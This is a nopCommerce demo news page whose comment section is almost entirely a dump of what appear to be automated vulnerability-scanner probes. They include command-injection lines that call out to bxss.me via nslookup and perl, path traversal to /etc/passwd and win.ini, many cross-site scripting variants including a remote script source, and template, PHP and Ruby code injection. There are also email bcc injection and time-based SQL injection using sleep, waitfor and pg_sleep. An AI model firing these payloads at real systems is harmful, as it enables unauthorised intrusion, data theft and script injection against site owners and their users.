nopCommerce new release!
Monday, April 22, 2024
nopCommerce includes everything you need to begin your e-commerce online store. We have thought of everything and it's all included!
Leave your comment
nopCommerce includes everything you need to begin your e-commerce online store. We have thought of everything and it's all included!
This is a sample comment...
555
response.write(9462835*9425850)
/../../../../../../../../../../windows/system32/BITSADMIN.exe
555
'+response.write(9462835*9425850)+'
"+response.write(9462835*9425850)+"
555
555
555
555
YpKFtmBa
555
555
555
555
555
555
echo ikudiq$()\ ykdglt\nz^xyu||a #' &echo ikudiq$()\ ykdglt\nz^xyu||a #|" &echo ikudiq$()\ ykdglt\nz^xyu||a #
&echo umuosw$()\ ecrllk\nz^xyu||a #' &echo umuosw$()\ ecrllk\nz^xyu||a #|" &echo umuosw$()\ ecrllk\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
|echo rtyqsv$()\ szxqrp\nz^xyu||a #' |echo rtyqsv$()\ szxqrp\nz^xyu||a #|" |echo rtyqsv$()\ szxqrp\nz^xyu||a #
../../../../../../../../../../../../../../windows/win.ini
(nslookup hitmgeszxihvue4290.bxss.me||perl -e "gethostbyname('hitmgeszxihvue4290.bxss.me')")
555
../555
$(nslookup hitbynrrrldhx84fdb.bxss.me||perl -e "gethostbyname('hitbynrrrldhx84fdb.bxss.me')")
&(nslookup hitdbyjbvlfgc4f891.bxss.me||perl -e "gethostbyname('hitdbyjbvlfgc4f891.bxss.me')")&'\"`0&(nslookup hitdbyjbvlfgc4f891.bxss.me||perl -e "gethostbyname('hitdbyjbvlfgc4f891.bxss.me')")&`'
555
|(nslookup hitloqqknwrcz6f03e.bxss.me||perl -e "gethostbyname('hitloqqknwrcz6f03e.bxss.me')")
555
555
`(nslookup hitnrhiynzggsadf27.bxss.me||perl -e "gethostbyname('hitnrhiynzggsadf27.bxss.me')")`
555
;(nslookup hithlbhxqtenf291f1.bxss.me||perl -e "gethostbyname('hithlbhxqtenf291f1.bxss.me')")|(nslookup hithlbhxqtenf291f1.bxss.me||perl -e "gethostbyname('hithlbhxqtenf291f1.bxss.me')")&(nslookup hithlbhxqtenf291f1.bxss.me||perl -e "gethostbyname('hithlbhxqtenf291f1.bxss.me')")
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
<!--
555
555
555
555
555
555
555
555
555
555'"()&%<acx><ScRiPt >oaSF(9263)</ScRiPt>
555
555
555
555&n964771=v962882
555
'"()&%<acx><ScRiPt >oaSF(9906)</ScRiPt>
555
bcc:009247.80505-97238.80505.f9d9f.19871.2@bxss.me
555
to@example.com>
bcc:009247.80505-97239.80505.f9d9f.19871.2@bxss.me
555
555
5559499407
555
555
acu4411＜s1﹥s2ʺs3ʹuca4411
/xfs.bxss.me
acux6511%C0%BEz1%C0%BCz2a%90bcxuca6511
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
${9999391+9999188}
555
555
<%={{={@{#{${acx}}%>
555
555
<th:t="${acx}#foreach
)
!(()&&!|*|*|
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
Http://bxss.me/t/fit.txt
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
^(#$!@#$)(()))******
http://bxss.me/t/fit.txt?.jpg
555
bxss.me
acx{{98991*97996}}xca
555
555
555
555
555
acx[[${98991*97996}]]xca
555
acx__${98991*97996}__::.x
555
555
555
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
HttP://bxss.me/t/xss.html?%00
555
bxss.me/t/xss.html?%00
555
555
555
555<ScRiPt >oaSF(9534)</ScRiPt>
"+"A".concat(70-3).concat(22*4).concat(108).concat(83).concat(104).concat(66)+(require"socket"
Socket.gethostbyname("hitfb"+"pjncalga42008.bxss.me.")[3].to_s)+"
555
'+'A'.concat(70-3).concat(22*4).concat(100).concat(73).concat(106).concat(73)+(require'socket'
Socket.gethostbyname('hitdz'+'brcououdb7348.bxss.me.')[3].to_s)+'
555
555
555
555<WFSOUN>SOVRL[!+!]</WFSOUN>
NewsCommentAdd
555
555
NewsCommentAdd/.
555
555<script>oaSF(9269)</script>
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555<ScR<ScRiPt>IpT>oaSF(9764)</sCr<ScRiPt>IpT>
555
555<ScRiPt
>oaSF(9686)</ScRiPt>
555
'"()
'.gethostbyname(lc('hiths'.'eicrhjtva67d4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(89).chr(103).chr(86).'
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9729></ScRiPt>
".gethostbyname(lc("hituc"."pbhponnl0f739.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(77).chr(97).chr(67)."
555
555
555
555
555
555
555
555<isindex type=image src=1 onerror=oaSF(9242)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9577'>
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
555<body onload=oaSF(9114)>
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
555
555<img src=//xss.bxss.me/t/dot.gif onload=oaSF(9344)>
555
555
555
555
555<img src=xyz OnErRor=oaSF(9931)>
555
555<img/src=">" onerror=alert(9870)>
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%6F%61%53%46%289320%29%3C%2F%73%43%72%69%70%54%3E
555
555
555
555
555\u003CScRiPt\oaSF(9525)\u003C/sCripT\u003E
555<ScRiPt>oaSF(9845)</sCripT>
%F6<img acu onmouseover=oaSF(90611) //%F6>
555<input autofocus onfocus=oaSF(9848)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
555}body{acu:Expre/**/SSion(oaSF(9167))}
555Dmft9
<ScRiPt >oaSF(9611)</ScRiPt>
555<WCIOVF>ZZWOK[!+!]</WCIOVF>
555<ifRAme sRc=9532.com></IfRamE>
555<aEgugdY x=9294>
555<img sRc='http://attacker-9512/log.php?
555<aJrenzg<
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+994-994-1=0+0+0+1 --
-1 OR 2+293-293-1=0+0+0+1
-1' OR 2+628-628-1=0+0+0+1 --
-1' OR 2+964-964-1=0+0+0+1 or '5abHlD9Q'='
-1" OR 2+739-739-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
Z6Rp0sjt'; waitfor delay '0:0:15' --
187Q0fJY'); waitfor delay '0:0:15' --
MMjeJ2LA')); waitfor delay '0:0:15' --
-5 OR 267=(SELECT 267 FROM PG_SLEEP(15))--
-5) OR 954=(SELECT 954 FROM PG_SLEEP(15))--
-1)) OR 916=(SELECT 916 FROM PG_SLEEP(15))--
kbFvUlAG' OR 623=(SELECT 623 FROM PG_SLEEP(15))--
CE8NOjjN') OR 550=(SELECT 550 FROM PG_SLEEP(15))--
Xoa3GnzF')) OR 762=(SELECT 762 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@9vseo
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555